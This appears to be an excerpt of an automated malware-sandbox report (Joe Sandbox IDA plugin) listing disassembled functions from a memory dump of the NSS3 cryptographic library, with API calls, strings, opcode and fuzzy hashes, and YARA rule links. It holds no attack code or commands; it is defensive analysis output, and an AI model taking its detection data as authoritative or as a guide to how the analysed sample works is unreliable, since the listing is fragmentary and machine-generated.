Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEACD93,?), ref: 6CEACF0B

Part of subcall function 6CEA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEACD93,?), ref: 6CEACF1D

Part of subcall function 6CE9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE98D2D,?,00000000,?), ref: 6CE9FB85
Part of subcall function 6CE9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE9FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEACD93,?), ref: 6CEACF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEACD93,?), ref: 6CEACF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEACD93,?,?,?,?,?,?,?,?,?,?,?,6CEACD93,?), ref: 6CEACF78

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: bde1f7db12e977069ba8051ac917f1471e05f6ccbb25b730d874e44b3c484cb8
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: CB11D5A9B002009FE700ABE66C42B6B75FC9F4814DF24403DEC19DB741FB61D90A86B1

Function 6CE58C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE58C1B
EnterCriticalSection.KERNEL32 ref: 6CE58C34
PL_ArenaAllocate.NSS3 ref: 6CE58C65
PR_Unlock.NSS3 ref: 6CE58C9C
PR_Unlock.NSS3 ref: 6CE58CB6

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

Strings

KRAM, xrefs: 6CE58C8F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 5f9abb6042a4a4387b32bb6ff36f500e8e03b630d5ce83886dd5081b11118639
Instruction ID: cd453abb06e6fb14a0f3897e9514804c38f80984f2bb29c6e4eb1915c56e3207
Opcode Fuzzy Hash: 5f9abb6042a4a4387b32bb6ff36f500e8e03b630d5ce83886dd5081b11118639
Instruction Fuzzy Hash: 9121B5B1A156018FD700AF78C484659FBF4FF46308F65896ED988CB711DB32D89ACB82

Function 6CE68E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CE82E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE54F1C), ref: 6CE68EA2

Part of subcall function 6CE8F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE8F854
Part of subcall function 6CE8F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE8F868
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE8F882
Part of subcall function 6CE8F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE8F889
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE8F8A4
Part of subcall function 6CE8F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE8F8AB
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE8F8C9
Part of subcall function 6CE8F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE8F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CE82E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE54F1C), ref: 6CE68EC3
TlsGetValue.KERNEL32(?,?,?,6CE82E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE54F1C), ref: 6CE68EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CE82E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE68EF1
PR_Unlock.NSS3 ref: 6CE68F20

Strings

b.l, xrefs: 6CE68E96, 6CE68F25

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 89e2169b2e2fc886f2c367a5b3a6cca2e1595b47900a48f0d8580ce788e61fca
Instruction ID: bcb459ea6dbadaccd83aab10f02aa111be99e32de04ecfcdb4b4da2d86a9fe7f
Opcode Fuzzy Hash: 89e2169b2e2fc886f2c367a5b3a6cca2e1595b47900a48f0d8580ce788e61fca
Instruction Fuzzy Hash: 11219C70A197059FCB10AF2AD584299BBF0FF4A318F51456EEC989BB41DB30E854CBC2

Function 6CED3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CED5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CED5B56

PR_EnterMonitor.NSS3(?), ref: 6CED3E45

Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090AB
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090C9
Part of subcall function 6CF09090: EnterCriticalSection.KERNEL32 ref: 6CF090E5
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09116
Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF0913F

PR_EnterMonitor.NSS3(?), ref: 6CED3E5C
PR_EnterMonitor.NSS3(?), ref: 6CED3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CED3EA6

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PR_ExitMonitor.NSS3(?), ref: 6CED3EC0
PR_ExitMonitor.NSS3(?), ref: 6CED3ED7
PR_ExitMonitor.NSS3(?), ref: 6CED3EEE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 7901b8546b07e51330f7d09cae3e6f67895bde77f8e19b086df545965f2e1b20
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 4111B775610701AFDB319E29FC02BC7B7B1DB41308F214834EA5A96A60F632F92AD753

Function 6CF52C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF52CA0
PR_ExitMonitor.NSS3 ref: 6CF52CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF52CD1
strdup.MOZGLUE(?), ref: 6CF52CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF52D27

Strings

Loaded library %s (static lib), xrefs: 6CF52D22

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 2b6914cfc24661c24ec92b0a204515ee947fbcc3376f1ec8a81b71e27eba0335
Instruction ID: adb60a8f7fd0335ce0a81860e0574350c8703d29114714f4408ebc64e1528934
Opcode Fuzzy Hash: 2b6914cfc24661c24ec92b0a204515ee947fbcc3376f1ec8a81b71e27eba0335
Instruction Fuzzy Hash: 7E1129B1B00210CFDB408F55E84875AB7B8AB5532DF94C12DDA09C7B42E732E818CB91

Function 6CE4BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE4BDCA

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE4BDDB

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE4BDEC

Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE4BE03

Part of subcall function 6CE9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE98D2D,?,00000000,?), ref: 6CE9FB85
Part of subcall function 6CE9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE9FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE4BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE4BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE4BE3B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: b500031ac4bd3b9e927f1cc4a09b73203e5b0c57080cbe5f3ceca38e2266f84e
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: F7014E69F40A0576F61012A77C01F9F3A684F9138DF344038FF059EB82FB50E51A82B6

Function 6CEA0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016

Part of subcall function 6CF098D0: calloc.MOZGLUE(00000001,00000084,6CE30936,00000001,?,6CE3102C), ref: 6CF098E5

PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B
TlsGetValue.KERNEL32(00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1044
free.MOZGLUE(00000000,?,00000800,6CE3EF74,00000000), ref: 6CEA1064

Strings

security, xrefs: 6CEA1025

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: e2b7ab3d737685508945cc2b8d65db739ccc156d7b838b624e5a2baf0a5717f4
Instruction ID: 79e29eaad82febda45ce8339bc08a7f141f5959b3b27cab45abfdfd20c1e60cb
Opcode Fuzzy Hash: e2b7ab3d737685508945cc2b8d65db739ccc156d7b838b624e5a2baf0a5717f4
Instruction Fuzzy Hash: 42012530A10250DFEB602FEE9C487467A78BF03799F21411AE808DBB51EB61C106DBD1

Function 6CED1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CED1C74

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CED1C92
free.MOZGLUE(?), ref: 6CED1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CED1CCB
free.MOZGLUE(?), ref: 6CED1CD2

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 356f2ce98c015d1ddf6c9448e5ff32824cb4cb8263dd05b90c96d2af0ffb95ee
Instruction ID: fff71ee9ac1d821fde3c11b7d288edcb0c7545809eb960b3a6ae91eb82b13e54
Opcode Fuzzy Hash: 356f2ce98c015d1ddf6c9448e5ff32824cb4cb8263dd05b90c96d2af0ffb95ee
Instruction Fuzzy Hash: A001D6B1F116109FDE58AFE5BC0D74DBB74670F318F210024E90DA6B40D332B1054791

Function 6CEE2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEE3046

Part of subcall function 6CECEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CECEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEB7FFB), ref: 6CEE312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEE3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEE2E8B

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

Part of subcall function 6CECF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEB9BFF,?,00000000,00000000), ref: 6CECF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEB7FFA), ref: 6CEE2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE317B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: d22d051266abceaeda0988d8318d98a57e851ad988173d8672064cd44a776fe6
Instruction ID: 7c0c5e01152b84c9d6519834a0566c82efbc3c1e7b5e16b63668be56d56f5600
Opcode Fuzzy Hash: d22d051266abceaeda0988d8318d98a57e851ad988173d8672064cd44a776fe6
Instruction Fuzzy Hash: 4BA1CE71A002199FDB24CF54CC81BEAB7B5EF49308F248199ED496B781E731AD85CF92

Function 6CEAED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEAED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEAEDCE

Part of subcall function 6CEA0BE0: malloc.MOZGLUE(6CE98D2D,?,00000000,?), ref: 6CEA0BF8
Part of subcall function 6CEA0BE0: TlsGetValue.KERNEL32(6CE98D2D,?,00000000,?), ref: 6CEA0C15

free.MOZGLUE(00000000,?,?,?,?,6CEAB04F), ref: 6CEAEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEAEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEAEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEAEEFB

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: d3c7745641dc23716380cbd5a99240046e7cd6aad5510c0b71416cb9ee9751c0
Instruction ID: 10ee7c58a516bf3604be54314b7e22d21a43bc1aaeaad0d3ff95da00bf770dfc
Opcode Fuzzy Hash: d3c7745641dc23716380cbd5a99240046e7cd6aad5510c0b71416cb9ee9751c0
Instruction Fuzzy Hash: 2E8180B5A006059FEB14CF99D881BAB7BF5FF89308F24442CE8159B751D730E826CBA1

Function 6CEACCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEAC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEADAE2,?), ref: 6CEAC6C2

PR_Now.NSS3 ref: 6CEACD35

Part of subcall function 6CF09DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF50A27), ref: 6CF09DC6
Part of subcall function 6CF09DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF50A27), ref: 6CF09DD1
Part of subcall function 6CF09DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF09DED

Part of subcall function 6CE96C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE41C6F,00000000,00000004,?,?), ref: 6CE96C3F

PR_GetCurrentThread.NSS3 ref: 6CEACD54

Part of subcall function 6CF09BF0: TlsGetValue.KERNEL32(?,?,?,6CF50A75), ref: 6CF09C07

Part of subcall function 6CE97260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE41CCC,00000000,00000000,?,?), ref: 6CE9729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEACD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEACE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEACE2C

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEACE40

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

Part of subcall function 6CEACEE0: PORT_ArenaMark_Util.NSS3(?,6CEACD93,?), ref: 6CEACEEE
Part of subcall function 6CEACEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEACD93,?), ref: 6CEACEFC
Part of subcall function 6CEACEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEACD93,?), ref: 6CEACF0B
Part of subcall function 6CEACEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEACD93,?), ref: 6CEACF1D

Part of subcall function 6CEACEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEACD93,?), ref: 6CEACF47
Part of subcall function 6CEACEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEACD93,?), ref: 6CEACF67
Part of subcall function 6CEACEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEACD93,?,?,?,?,?,?,?,?,?,?,?,6CEACD93,?), ref: 6CEACF78

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

